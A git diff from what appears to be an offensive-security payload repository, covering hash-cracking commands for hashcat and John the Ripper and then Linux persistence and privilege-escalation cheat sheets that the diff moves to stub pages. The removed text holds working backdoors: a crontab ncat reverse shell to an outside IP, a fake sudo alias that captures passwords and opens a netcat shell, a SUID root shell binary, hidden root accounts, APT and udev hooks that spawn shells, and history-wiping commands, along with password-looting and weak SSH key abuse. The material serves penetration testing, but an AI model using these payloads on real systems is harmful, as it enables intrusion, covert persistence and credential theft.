hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?d?d?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?d?d?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?d?d?d?d?1
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?d?d?d?d?1
# Mask: lower*6 + digit*2 + special digit(+!?*)
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?l?l?l?l?l?l?d?d?1
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?l?l?l?l?l?l?d?d?1?1
# Mask: lower*6 + digit*2
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 /content/hashcat/masks/8char-1l-1u-1d-1s-compliant.hcmask
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 ?l?d?u ?1?1?1?1?1?1?1?1
# Other examples
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?a?a?a?a?a?a?a?a?a
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?a?a?a?a?a?a?a?a
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?l?d?d?d?d
hashcat --attack-mode 3 --increment --increment-min 4 --increment-max 8 --hash-type $number $hashes_file "?a?a?a?a?a?a?a?a?a?a?a?a"
hashcat --attack-mode 3 --hash-type $number $hashes_file "?u?l?l?l?d?d?d?d?s"
hashcat --attack-mode 3 --hash-type $number $hashes_file "?a?a?a?a?a?a?a?a"
hashcat --attack-mode 3 --custom-charset1 "?u" --custom-charset2 "?l?u?d" --custom-charset3 "?d" --hash-type $number $hashes_file "?1?2?2?2?3"
```
| Shortcut | Characters |
|----|----------------------------|
| ?l | abcdefghijklmnopqrstuvwxyz |
| ?u | ABCDEFGHIJKLMNOPQRSTUVWXYZ |
| ?d | 0123456789 |
| ?s | !"#$%&'()*+,-./:;<=>?@[\]^_`{}~ |
| ?a | ?l?u?d?s |
| ?b | 0x00 - 0xff |
## John
### John Usage
```bash
# Run on password file containing hashes to be cracked
john passwd
# Use a specific wordlist
john --wordlist=<wordlist> passwd
# Use a specific wordlist with rules
john --wordlist=<wordlist> passwd --rules=Jumbo
# Show cracked passwords
john --show passwd
# Restore interrupted sessions
john --restore
```
## Rainbow tables
> The hash is looked for in a pre-computed table. It is a time-memory trade-off that allows cracking hashes faster, but costing a greater amount of memory than traditional brute-force of dictionary attacks. This attack cannot work if the hashed value is salted (i.e. hashed with an additional random value as prefix/suffix, making the pre-computed table irrelevant)
## Tips and Tricks
* Cloud GPU
* [penglab - Abuse of Google Colab for cracking hashes. 🐧](https://github.com/mxrch/penglab)
* [google-colab-hashcat - Google colab hash cracking](https://github.com/ShutdownRepo/google-colab-hashcat)
* [Cloudtopolis - Zero Infrastructure Password Cracking](https://github.com/JoelGMSec/Cloudtopolis)
* [Nephelees - also a NTDS cracking tool abusing Google Colab](https://github.com/swisskyrepo/Nephelees)
* Build a rig on premise
* [Pentester's Portable Cracking Rig - $1000](https://www.netmux.com/blog/portable-cracking-rig)
* [How To Build A Password Cracking Rig - 5000$](https://www.netmux.com/blog/how-to-build-a-password-cracking-rig)
* Online cracking
* [Hashes.com](https://hashes.com/en/decrypt/hash)
* [hashmob.net](https://hashmob.net/): great community with Discord
* Use the `loopback` in combination with rules and dictionary to keep cracking until you don't find new passsword: `hashcat --loopback --attack-mode 0 --rules-file $rules_file --hash-type $number $hashes_file $wordlist_file`
## Online Cracking Resources
* ~~[hashes.com](https://hashes.com)~~
* [crackstation](https://crackstation.net)
* [Hashmob](https://hashmob.net/)
## References
* [Cracking - The Hacker Recipes](https://www.thehacker.recipes/ad-ds/movement/credentials/cracking)
* [Using Hashcat to Crack Hashes on Azure](https://durdle.com/2017/04/23/using-hashcat-to-crack-hashes-on-azure/)
* [miloserdov.org hashcat](https://miloserdov.org/?p=5426&PageSpeed=noscript)
* [miloserdov.org john](https://miloserdov.org/?p=4961&PageSpeed=noscript)

View File

@@ -0,0 +1,11 @@
# Initial Access
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/initial-access](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/)
- [Complex Chains](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#complex-chains)
- [Container](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#container)
- [Payload](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#payload)
- [Binary Files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#binary-files)
- [Code Execution Files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#code-execution-files)
- [Embedded Files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#embedded-files)
- [Code Signing](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#code-signing)

View File

@@ -0,0 +1,8 @@
# Linux - Evasion
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/initial-access](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/)
- [File names](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#file-names)
- [Command history](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#command-history)
- [Hiding text](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#hiding-text)
- [Timestomping](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#timestomping)

View File

@@ -1,218 +1,18 @@
# Linux - Persistence # Linux - Persistence
## Summary :warning: Content of this page has been moved to [InternalAllTheThings/redteam/persistence/linux-persistence](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/)
* [Basic reverse shell](#basic-reverse-shell) - [Basic reverse shell](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#basic-reverse-shell)
* [Add a root user](#add-a-root-user) - [Add a root user](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#add-a-root-user)
* [Suid Binary](#suid-binary) - [Suid Binary](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#suid-binary)
* [Crontab - Reverse shell](#crontab-reverse-shell) - [Crontab - Reverse shell](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#crontab---reverse-shell)
* [Backdooring a user's bash_rc](#backdooring-an-users-bash-rc) - [Backdooring a user's bash_rc](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-a-users-bash_rc)
* [Backdooring a startup service](#backdoor-a-startup-service) - [Backdooring a startup service](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-a-startup-service)
* [Backdooring a user startup file](#backdooring-an-user-startup-file) - [Backdooring a user startup file](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-a-user-startup-file)
* [Backdooring a driver](#backdooring-a-driver) - [Backdooring Message of the Day](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-message-of-the-day)
* [Backdooring the APT](#backdooring-the-apt) - [Backdooring a driver](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-a-driver)
* [Backdooring the SSH](#backdooring-the-ssh) - [Backdooring the APT](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-the-apt)
* [Tips](#tips) - [Backdooring the SSH](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-the-ssh)
* [Additional Linux Persistence Options](#additional-persistence-options) - [Backdooring Git](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-git)
* [References](#references) - [Additional Linux Persistence Options](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#additional-persistence-options)
- [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#references)
## Basic reverse shell
```bash
ncat --udp -lvp 4242
ncat --sctp -lvp 4242
ncat --tcp -lvp 4242
```
## Add a root user
```powershell
sudo useradd -ou 0 -g 0 john
sudo passwd john
echo "linuxpassword" | passwd --stdin john
```
## Suid Binary
```powershell
TMPDIR2="/var/tmp"
echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c
gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null
rm $TMPDIR2/croissant.c
chown root:root $TMPDIR2/croissant
chmod 4777 $TMPDIR2/croissant
```
## Crontab - Reverse shell
```bash
(crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 4242 -e /bin/bash")|crontab 2> /dev/null
```
## Backdooring a user's bash_rc
(FR/EN Version)
```bash
TMPNAME2=".systemd-private-b21245afee3b3274d4b2e2-systemd-timesyncd.service-IgCBE0"
cat << EOF > /tmp/$TMPNAME2
alias sudo='locale=$(locale | grep LANG | cut -d= -f2 | cut -d_ -f1);if [ \$locale = "en" ]; then echo -n "[sudo] password for \$USER: ";fi;if [ \$locale = "fr" ]; then echo -n "[sudo] Mot de passe de \$USER: ";fi;read -s pwd;echo; unalias sudo; echo "\$pwd" | /usr/bin/sudo -S nohup nc -lvp 1234 -e /bin/bash > /dev/null && /usr/bin/sudo -S '
EOF
if [ -f ~/.bashrc ]; then
cat /tmp/$TMPNAME2 >> ~/.bashrc
fi
if [ -f ~/.zshrc ]; then
cat /tmp/$TMPNAME2 >> ~/.zshrc
fi
rm /tmp/$TMPNAME2
```
or add the following line inside its .bashrc file.
```powershell
$ chmod u+x ~/.hidden/fakesudo
$ echo "alias sudo=~/.hidden/fakesudo" >> ~/.bashrc
```
and create the `fakesudo` script.
```powershell
read -sp "[sudo] password for $USER: " sudopass
echo ""
sleep 2
echo "Sorry, try again."
echo $sudopass >> /tmp/pass.txt
/usr/bin/sudo $@
```
## Backdooring a startup service
```bash
RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null"
sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart
```
## Backdooring a user startup file
Linux, write a file in `~/.config/autostart/NAME_OF_FILE.desktop`
```powershell
In : ~/.config/autostart/*.desktop
[Desktop Entry]
Type=Application
Name=Welcome
Exec=/var/lib/gnome-welcome-tour
AutostartCondition=unless-exists ~/.cache/gnome-getting-started-docs/seen-getting-started-guide
OnlyShowIn=GNOME;
X-GNOME-Autostart-enabled=false
```
## Backdooring a driver
```bash
echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null
```
## Backdooring the APT
If you can create a file on the apt.conf.d directory with: `APT::Update::Pre-Invoke {"CMD"};`
Next time "apt-get update" is done, your CMD will be executed!
```bash
echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor
```
## Backdooring the SSH
Add an ssh key into the `~/.ssh` folder.
1. `ssh-keygen`
2. write the content of `~/.ssh/id_rsa.pub` into `~/.ssh/authorized_keys`
3. set the right permission, 700 for ~/.ssh and 600 for authorized_keys
## Tips
Hide the payload with ANSI chars, the following chars will clear the terminal when using cat to display the content of your payload.
```powershell
## Do not remove. Generated from /etc/issue.conf by configure.
```
Hide in plain sight using zero width spaces in filename.
```powershell
touch $(echo -n 'index\u200D.php') index.php
```
Clear the last line of the history.
```bash
history -d $(history | tail -2 | awk '{print $1}') 2> /dev/null
```
Clear history
```bash
[SPACE] ANY COMMAND
or
export HISTSIZE=0
export HISTFILESIZE=0
unset HISTFILE; CTRL-D
or
kill -9 $$
or
echo "" > ~/.bash_history
or
rm ~/.bash_history -rf
or
history -c
or
ln /dev/null ~/.bash_history -sf
```
The following directories are temporary and usually writeable
```bash
/var/tmp/
/tmp/
/dev/shm/
```
## Additional Persistence Options
* [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)
* [Compromise Client Software Binary](https://attack.mitre.org/techniques/T1554)
* [Create Account](https://attack.mitre.org/techniques/T1136/)
* [Create Account: Local Account](https://attack.mitre.org/techniques/T1136/001/)
* [Create or Modify System Process](https://attack.mitre.org/techniques/T1543/)
* [Create or Modify System Process: Systemd Service](https://attack.mitre.org/techniques/T1543/002/)
* [Event Triggered Execution: Trap](https://attack.mitre.org/techniques/T1546/005/)
* [Event Triggered Execution](https://attack.mitre.org/techniques/T1546/)
* [Event Triggered Execution: .bash_profile and .bashrc](https://attack.mitre.org/techniques/T1546/004/)
* [External Remote Services](https://attack.mitre.org/techniques/T1133/)
* [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574/)
* [Hijack Execution Flow: LD_PRELOAD](https://attack.mitre.org/techniques/T1574/006/)
* [Pre-OS Boot](https://attack.mitre.org/techniques/T1542/)
* [Pre-OS Boot: Bootkit](https://attack.mitre.org/techniques/T1542/003/)
* [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053/)
* [Scheduled Task/Job: At (Linux)](https://attack.mitre.org/techniques/T1053/001/)
* [Scheduled Task/Job: Cron](https://attack.mitre.org/techniques/T1053/003/)
* [Server Software Component](https://attack.mitre.org/techniques/T1505/)
* [Server Software Component: SQL Stored Procedures](https://attack.mitre.org/techniques/T1505/001/)
* [Server Software Component: Transport Agent](https://attack.mitre.org/techniques/T1505/002/)
* [Server Software Component: Web Shell](https://attack.mitre.org/techniques/T1505/003/)
* [Traffic Signaling](https://attack.mitre.org/techniques/T1205/)
* [Traffic Signaling: Port Knocking](https://attack.mitre.org/techniques/T1205/001/)
* [Valid Accounts: Default Accounts](https://attack.mitre.org/techniques/T1078/001/)
* [Valid Accounts: Domain Accounts 2](https://attack.mitre.org/techniques/T1078/002/)
## References
* [@RandoriSec - https://twitter.com/RandoriSec/status/1036622487990284289](https://twitter.com/RandoriSec/status/1036622487990284289)
* [https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/](https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/)
* [http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html](http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html)
* [http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/](http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/)
* [Pouki from JDI](#no_source_code)

View File

@@ -1,832 +1,50 @@
# Linux - Privilege Escalation # Linux - Privilege Escalation
## Summary :warning: Content of this page has been moved to [InternalAllTheThings/redteam/persistence/linux-persistence](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/)
* [Tools](#tools) - [Tools](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#tools)
* [Checklist](#checklists) - [Checklist](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#checklists)
* [Looting for passwords](#looting-for-passwords) - [Looting for passwords](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#looting-for-passwords)
* [Files containing passwords](#files-containing-passwords) - [Files containing passwords](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#files-containing-passwords)
* [Old passwords in /etc/security/opasswd](#old-passwords-in-etcsecurityopasswd) - [Old passwords in /etc/security/opasswd](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#old-passwords-in-etcsecurityopasswd)
* [Last edited files](#last-edited-files) - [Last edited files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#last-edited-files)
* [In memory passwords](#in-memory-passwords) - [In memory passwords](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#in-memory-passwords)
* [Find sensitive files](#find-sensitive-files) - [Find sensitive files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#find-sensitive-files)
* [SSH Key](#ssh-key) - [SSH Key](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#ssh-key)
* [Sensitive files](#sensitive-files) - [Sensitive files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#sensitive-files)
* [SSH Key Predictable PRNG (Authorized_Keys) Process](#ssh-key-predictable-prng-authorized_keys-process) - [SSH Key Predictable PRNG (Authorized_Keys) Process](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#ssh-key-predictable-prng-authorized_keys-process)
* [Scheduled tasks](#scheduled-tasks) - [Scheduled tasks](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#scheduled-tasks)
* [Cron jobs](#cron-jobs) - [Cron jobs](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cron-jobs)
* [Systemd timers](#systemd-timers) - [Systemd timers](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#systemd-timers)
* [SUID](#suid) - [SUID](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#suid)
* [Find SUID binaries](#find-suid-binaries) - [Find SUID binaries](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#find-suid-binaries)
* [Create a SUID binary](#create-a-suid-binary) - [Create a SUID binary](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#create-a-suid-binary)
* [Capabilities](#capabilities) - [Capabilities](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#capabilities)
* [List capabilities of binaries](#list-capabilities-of-binaries) - [List capabilities of binaries](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#list-capabilities-of-binaries)
* [Edit capabilities](#edit-capabilities) - [Edit capabilities](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#edit-capabilities)
* [Interesting capabilities](#interesting-capabilities) - [Interesting capabilities](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#interesting-capabilities)
* [SUDO](#sudo) - [SUDO](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#sudo)
* [NOPASSWD](#nopasswd) - [NOPASSWD](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#nopasswd)
* [LD_PRELOAD and NOPASSWD](#ld_preload-and-nopasswd) - [LD_PRELOAD and NOPASSWD](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#ld_preload-and-nopasswd)
* [Doas](#doas) - [Doas](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#doas)
* [sudo_inject](#sudo_inject) - [sudo_inject](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#sudo_inject)
* [CVE-2019-14287](#cve-2019-14287) - [CVE-2019-14287](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2019-14287)
* [GTFOBins](#gtfobins) - [GTFOBins](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#gtfobins)
* [Wildcard](#wildcard) - [Wildcard](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#wildcard)
* [Writable files](#writable-files) - [Writable files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#writable-files)
* [Writable /etc/passwd](#writable-etcpasswd) - [Writable /etc/passwd](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#writable-etcpasswd)
* [Writable /etc/sudoers](#writable-etcsudoers) - [Writable /etc/sudoers](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#writable-etcsudoers)
* [NFS Root Squashing](#nfs-root-squashing) - [NFS Root Squashing](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#nfs-root-squashing)
* [Shared Library](#shared-library) - [Shared Library](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#shared-library)
* [ldconfig](#ldconfig) - [ldconfig](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#ldconfig)
* [RPATH](#rpath) - [RPATH](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#rpath)
* [Groups](#groups) - [Groups](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#groups)
* [Docker](#docker) - [Docker](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#docker)
* [LXC/LXD](#lxclxd) - [LXC/LXD](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#lxclxd)
* [Hijack TMUX session](#hijack-tmux-session) - [Hijack TMUX session](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#hijack-tmux-session)
* [Kernel Exploits](#kernel-exploits) - [Kernel Exploits](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#kernel-exploits)
* [CVE-2022-0847 (DirtyPipe)](#cve-2022-0847-dirtypipe) - [CVE-2022-0847 (DirtyPipe)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2022-0847-dirtypipe)
* [CVE-2016-5195 (DirtyCow)](#cve-2016-5195-dirtycow) - [CVE-2016-5195 (DirtyCow)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2016-5195-dirtycow)
* [CVE-2010-3904 (RDS)](#cve-2010-3904-rds) - [CVE-2010-3904 (RDS)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2010-3904-rds)
* [CVE-2010-4258 (Full Nelson)](#cve-2010-4258-full-nelson) - [CVE-2010-4258 (Full Nelson)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2010-4258-full-nelson)
* [CVE-2012-0056 (Mempodipper)](#cve-2012-0056-mempodipper) - [CVE-2012-0056 (Mempodipper)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2012-0056-mempodipper)
## Tools
There are many scripts that you can execute on a linux machine which automatically enumerate sytem information, processes, and files to locate privilege escelation vectors.
Here are a few:
- [LinPEAS - Linux Privilege Escalation Awesome Script](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
```powershell
wget "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -O linpeas.sh
curl "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -o linpeas.sh
./linpeas.sh -a #all checks - deeper system enumeration, but it takes longer to complete.
./linpeas.sh -s #superfast & stealth - This will bypass some time consuming checks. In stealth mode Nothing will be written to the disk.
./linpeas.sh -P #Password - Pass a password that will be used with sudo -l and bruteforcing other users
```
- [LinuxSmartEnumeration - Linux enumeration tools for pentesting and CTFs](https://github.com/diego-treitos/linux-smart-enumeration)
```powershell
wget "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -O lse.sh
curl "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -o lse.sh
./lse.sh -l1 # shows interesting information that should help you to privesc
./lse.sh -l2 # dump all the information it gathers about the system
```
- [LinEnum - Scripted Local Linux Enumeration & Privilege Escalation Checks](https://github.com/rebootuser/LinEnum)
```powershell
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
```
- [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot)
- [linuxprivchecker.py - a Linux Privilege Escalation Check Script](https://github.com/sleventyeleven/linuxprivchecker)
- [unix-privesc-check - Automatically exported from code.google.com/p/unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check)
- [Privilege Escalation through sudo - Linux](https://github.com/TH3xACE/SUDO_KILLER)
## Checklists
* Kernel and distribution release details
* System Information:
* Hostname
* Networking details:
* Current IP
* Default route details
* DNS server information
* User Information:
* Current user details
* Last logged on users
* Shows users logged onto the host
* List all users including uid/gid information
* List root accounts
* Extracts password policies and hash storage method information
* Checks umask value
* Checks if password hashes are stored in /etc/passwd
* Extract full details for 'default' uid's such as 0, 1000, 1001 etc
* Attempt to read restricted files i.e. /etc/shadow
* List current users history files (i.e .bash_history, .nano_history, .mysql_history , etc.)
* Basic SSH checks
* Privileged access:
* Which users have recently used sudo
* Determine if /etc/sudoers is accessible
* Determine if the current user has Sudo access without a password
* Are known 'good' breakout binaries available via Sudo (i.e. nmap, vim etc.)
* Is root's home directory accessible
* List permissions for /home/
* Environmental:
* Display current $PATH
* Displays env information
* Jobs/Tasks:
* List all cron jobs
* Locate all world-writable cron jobs
* Locate cron jobs owned by other users of the system
* List the active and inactive systemd timers
* Services:
* List network connections (TCP & UDP)
* List running processes
* Lookup and list process binaries and associated permissions
* List inetd.conf/xined.conf contents and associated binary file permissions
* List init.d binary permissions
* Version Information (of the following):
* Sudo
* MYSQL
* Postgres
* Apache
* Checks user config
* Shows enabled modules
* Checks for htpasswd files
* View www directories
* Default/Weak Credentials:
* Checks for default/weak Postgres accounts
* Checks for default/weak MYSQL accounts
* Searches:
* Locate all SUID/GUID files
* Locate all world-writable SUID/GUID files
* Locate all SUID/GUID files owned by root
* Locate 'interesting' SUID/GUID files (i.e. nmap, vim etc)
* Locate files with POSIX capabilities
* List all world-writable files
* Find/list all accessible *.plan files and display contents
* Find/list all accessible *.rhosts files and display contents
* Show NFS server details
* Locate *.conf and *.log files containing keyword supplied at script runtime
* List all *.conf files located in /etc
* Locate mail
* Platform/software specific tests:
* Checks to determine if we're in a Docker container
* Checks to see if the host has Docker installed
* Checks to determine if we're in an LXC container
## Looting for passwords
### Files containing passwords
```powershell
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
```
### Old passwords in /etc/security/opasswd
The `/etc/security/opasswd` file is used also by pam_cracklib to keep the history of old passwords so that the user will not reuse them.
:warning: Treat your opasswd file like your /etc/shadow file because it will end up containing user password hashes
### Last edited files
Files that were edited in the last 10 minutes
```powershell
find / -mmin -10 2>/dev/null | grep -Ev "^/proc"
```
### In memory passwords
```powershell
strings /dev/mem -n10 | grep -i PASS
```
### Find sensitive files
```powershell
$ locate password | more
/boot/grub/i386-pc/password.mod
/etc/pam.d/common-password
/etc/pam.d/gdm-password
/etc/pam.d/gdm-password.original
/lib/live/config/0031-root-password
...
```
## SSH Key
### Sensitive files
```
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
...
```
### SSH Key Predictable PRNG (Authorized_Keys) Process
This module describes how to attempt to use an obtained authorized_keys file on a host system.
Needed : SSH-DSS String from authorized_keys file
**Steps**
1. Get the authorized_keys file. An example of this file would look like so:
```
ssh-dss AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf ... (snipped) ...
```
2. Since this is an ssh-dss key, we need to add that to our local copy of `/etc/ssh/ssh_config` and `/etc/ssh/sshd_config`:
```
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/ssh_config
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/sshd_config
/etc/init.d/ssh restart
```
3. Get [g0tmi1k's debian-ssh repository](https://github.com/g0tmi1k/debian-ssh) and unpack the keys:
```
git clone https://github.com/g0tmi1k/debian-ssh
cd debian-ssh
tar vjxf common_keys/debian_ssh_dsa_1024_x86.tar.bz2
```
4. Grab the first 20 or 30 bytes from the key file shown above starting with the `"AAAA..."` portion and grep the unpacked keys with it as:
```
grep -lr 'AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf'
dsa/1024/68b329da9893e34099c7d8ad5cb9c940-17934.pub
```
5. IF SUCCESSFUL, this will return a file (68b329da9893e34099c7d8ad5cb9c940-17934.pub) public file. To use the private key file to connect, drop the '.pub' extension and do:
```
ssh -vvv victim@target -i 68b329da9893e34099c7d8ad5cb9c940-17934
```
And you should connect without requiring a password. If stuck, the `-vvv` verbosity should provide enough details as to why.
## Scheduled tasks
### Cron jobs
Check if you have access with write permission on these files.
Check inside the file, to find other paths with write permissions.
```powershell
/etc/init.d
/etc/cron*
/etc/crontab
/etc/cron.allow
/etc/cron.d
/etc/cron.deny
/etc/cron.daily
/etc/cron.hourly
/etc/cron.monthly
/etc/cron.weekly
/etc/sudoers
/etc/exports
/etc/anacrontab
/var/spool/cron
/var/spool/cron/crontabs/root
crontab -l
ls -alh /var/spool/cron;
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny*
```
You can use [pspy](https://github.com/DominicBreuker/pspy) to detect a CRON job.
```powershell
# print both commands and file system events and scan procfs every 1000 ms (=1sec)
./pspy64 -pf -i 1000
```
## Systemd timers
